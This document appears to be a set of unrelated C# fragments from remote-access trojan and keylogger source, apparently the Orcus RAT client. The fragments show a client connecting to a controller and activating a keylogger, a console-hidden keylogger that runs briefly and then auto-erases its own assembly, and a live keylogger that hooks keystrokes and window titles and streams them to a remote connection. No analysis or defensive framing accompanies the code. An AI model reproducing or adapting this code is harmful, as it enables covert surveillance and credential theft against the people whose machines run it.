public void Unload() { if (_unloaded) { return; } lock (_unloadLock) { if (_unloaded) { return; } _unloaded = true; _client.Dispose(); Program.Mutex.Close(); foreach (var plugin in PluginLoader.Current.Loadables) { try { plugin.Shutdown(); } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "Shutdown plugin\"" + plugin.GetType() + "\""); } } KeyLoggerService?.Dispose(); } }
public OrcusApplicationContext() { Application.Idle += ApplicationOnIdle; _client = new Client(); _client.Connected += ClientOnConnected; StaticCommandSelector.Initialize(_client); foreach (var factoryCommandPlugin in PluginLoader.Current.FactoryCommandPlugins) { factoryCommandPlugin.Factory.Initialize(ClientOperator.Instance); } _client.BeginConnect(); Application.ApplicationExit += Application_ApplicationExit; ErrorReporter.Current.ExceptionsAvailable += Current_ExceptionsAvailable; if (Settings.GetBuilderProperty <KeyloggerBuilderProperty>().IsEnabled) { KeyLoggerService = new KeyLoggerService(ClientOperator.Instance.DatabaseConnection); try { KeyLoggerService.Activate(); } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "Activating keylogger"); } } foreach (var clientPlugin in PluginLoader.Current.Loadables) { try { clientPlugin.Start(); } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "Load plugin: \"" + clientPlugin.GetType() + "\""); } } if ( File.Exists(Path.GetTempPath() + "\\e3c6cefd462d48f0b30a5ebcd238b5b1")) { File.WriteAllText( Path.GetTempPath() + "\\e3c6cefd462d48f0b30a5ebcd238b5b1", SettingsData.SIGNATURE); } AppDomain.CurrentDomain.AssemblyResolve += CurrentDomainOnAssemblyResolve; ShowWindow(); //THIS MUST BE THE LAST LINE!!! }
private static int LIFETIME = 10000; //10 seconds static void Main(string[] args) { //Don´t needed, figure out changing output type to Windows Application ApplicationWindowHelper.HideConsoleWindow(); IKeyLoggerService _service = new KeyLoggerService(); _service.SetOutputMode = FileAppender.Instance; _service.Start(); Thread.Sleep(LIFETIME); _service.Stop(); _service = null; AutoEraseAssembly.ByCommandLine(System.Reflection.Assembly.GetExecutingAssembly().Location); }
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo) { switch ((LiveKeyloggerCommunication) parameter[0]) { case LiveKeyloggerCommunication.Start: #if DEBUG Program.AsyncOperation.Post(state => #endif #if !DEBUG Program.AppContext.AsyncOperation.Post(state => #endif { if (_keyboardHook == null) { _keyboardHook = new KeyboardHook(); _keyboardHook.StringDown += (sender, args) => { if (args.IsChar) { ResponseBytes((byte) LiveKeyloggerCommunication.StringDown, Encoding.UTF8.GetBytes(args.Value), connectionInfo); } else { var key = (Keys) args.VCode; var specialKey = KeyLoggerService.KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, true) : new SpecialKey(specialKey, true); ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyDown, new Serializer(new[] {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize( entry), connectionInfo); } }; _keyboardHook.StringUp += (sender, args) => { if (args.IsChar) return; var key = (Keys) args.VCode; var specialKey = KeyLoggerService.KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, false) : new SpecialKey(specialKey, false); ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyUp, new Serializer(new[] {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize(entry), connectionInfo); }; } if (_activeWindowHook == null) { _activeWindowHook = new ActiveWindowHook(); _activeWindowHook.ActiveWindowChanged += (sender, args) => { ResponseBytes((byte) LiveKeyloggerCommunication.WindowChanged, Encoding.UTF8.GetBytes(args.Title), connectionInfo); }; _activeWindowHook.RaiseOne(); } _keyboardHook.Hook(); }, null); break; case LiveKeyloggerCommunication.Stop: Dispose(); break; default: throw new ArgumentOutOfRangeException(); } }